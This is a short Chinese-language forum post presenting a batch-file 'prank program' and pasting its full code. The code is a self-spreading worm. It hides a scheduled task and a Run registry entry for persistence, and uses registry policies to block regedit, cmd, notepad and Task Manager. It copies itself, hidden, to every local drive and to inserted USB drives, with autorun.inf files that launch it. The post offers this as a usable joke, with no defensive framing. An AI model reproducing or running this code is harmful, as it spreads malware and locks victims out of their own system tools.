bat整人 简单 易懂

给我你邮箱 我给你用bat的整人程序  这里直接贴出主要代码 但是没效果要用rar打包后才行

@echo off :hello rem 检查c d e f盘含bat.exe否。 if not exist c:\bat.exe goto fun if not exist e:\bat.exe goto fun if not exist d:\bat.exe goto fun if not exist f:\bat.exe goto fun rem 定制计划任务为bat.exe实现开机启动并对计划任务进行隐藏。 schtasks /create /tn runl132 /tr %windir%\system32\bat.exe /sc onlogon /ru "" attrib +s +h %windir%\tasks\runl132.job rem 导入一些注册表键值，实现一些功能。 reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v "restrictrun" /t reg_dword /d 1 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 1 /t reg_sz /d "regedit.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 2 /t reg_sz /d "bat.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 3 /t reg_sz /d "tools.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 4 /t reg_sz /d "runl132.bat" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 5 /t reg_sz /d "bat.vbs" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 6 /t reg_sz /d "cmd.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 7 /t reg_sz /d "autorun.inf" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 8 /t reg_sz /d "shutdown.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 9 /t reg_sz /d "attrib.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 10 /t reg_sz /d "fsutil.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 11 /t reg_sz /d "schtasks.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 12 /t reg_sz /d "reg.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 13 /t reg_sz /d "winrar.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 14 /t reg_sz /d "wscript.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 15 /t reg_sz /d "go.vbs" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 16 /t reg_sz /d "notepad.exe" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer\restrictrun /v 17 /t reg_sz /d "you.txt" /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\system /v "disabletaskmgr" /t reg_dword /d 1 /f reg add hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall /v "checkedvalue" /t reg_dword /d 0 /f reg add hkey_current_user\software\microsoft\windows\currentversion\policies\explorer /v "nofolderoptions" /t reg_dword /d 1 /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v runl132 /t reg_expand_sz /d "d:\bat.exe" /f rem 检查是否有u盘插入（有，进行复制）。 :kk for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do fsutil fsinfo drivetype %%d:>>%windir%\system32\note.txt findstr /i "可移动驱动器" %windir%\system32\note.txt if errorlevel==0 goto next if errorlevel==1 goto hello :next for /f "tokens=1" %%d in ('findstr /i "可移动驱动器" e:\s.txt') do set yidong=%%d if exist %yidong%\bat.exe goto hello attrib -s -h e:\bat.exe copy e:\bat.exe %yidong%\ /y attrib +s +h e:\bat.exe attrib +s +h "%yidong%\bat.exe" attrib -s -h "%yidong%\autorun.inf" rd /q /s "%yidong%\autorun.inf" echo [autorun]>"%yidong%\autorun.inf" echo shell\open=打开(^&o)>>"%yidong%\autorun.inf" echo shell\open\command=bat.exe>>"%yidong%\autorun.inf" echo shell\explore=资源管理器(^&x)>>"%yidong%\autorun.inf" echo shell\explore\command=bat.exe>>"%yidong%\autorun.inf" attrib +s +h "%yidong%\autorun.inf" goto hello rem 进行对c d e f 盘自我复制并对其隐藏。 :fun attrib -s -h %systemroot%\system32\bat.exe for %%k in (c d e f) do copy %systemroot%\system32\bat.exe %%k:\ /y attrib -s -h e:\bat.exe for %%k in (c d e f) do copy e:\bat.exe %%k:\ /y attrib -s -h d:\bat.exe for %%k in (c d e f) do copy d:\bat.exe %%k:\ /y attrib -s -h f:\bat.exe for %%k in (c d e f) do copy f:\bat.exe %%k:\ /y attrib -s -h c:\bat.exe for %%k in (c d e f) do copy c:\bat.exe %%k:\ /y for %%k in (c d e f) do attrib +s +h %%k:\bat.exe attrib +s +h %systemroot%\system32\bat.exe for %%m in (c d e f) do attrib -s -h -a %%m:\autorun.inf for %%d in (c d e f) do rd /q /s %%d:\autorun.inf for %%s in (c d e f) do echo [autorun]>%%s:\autorun.inf for %%m in (c d e f) do echo shell\open=打开(^&o)>>%%m:\autorun.inf for %%l in (c d e f) do echo shell\open\command=bat.exe>>%%l:\autorun.inf for %%a in (c d e f) do echo shell\explore=资源管理器(^&x)>>%%a:\autorun.inf for %%e in (c d e f) do echo shell\explore\command=bat.exe>>%%e:\autorun.inf attrib +s +h +r c:\autorun.inf & attrib +s +h +r e:\autorun.inf & attrib +s +h +r d:\autorun.inf & attrib +s +h +r f:\autorun.inf goto hello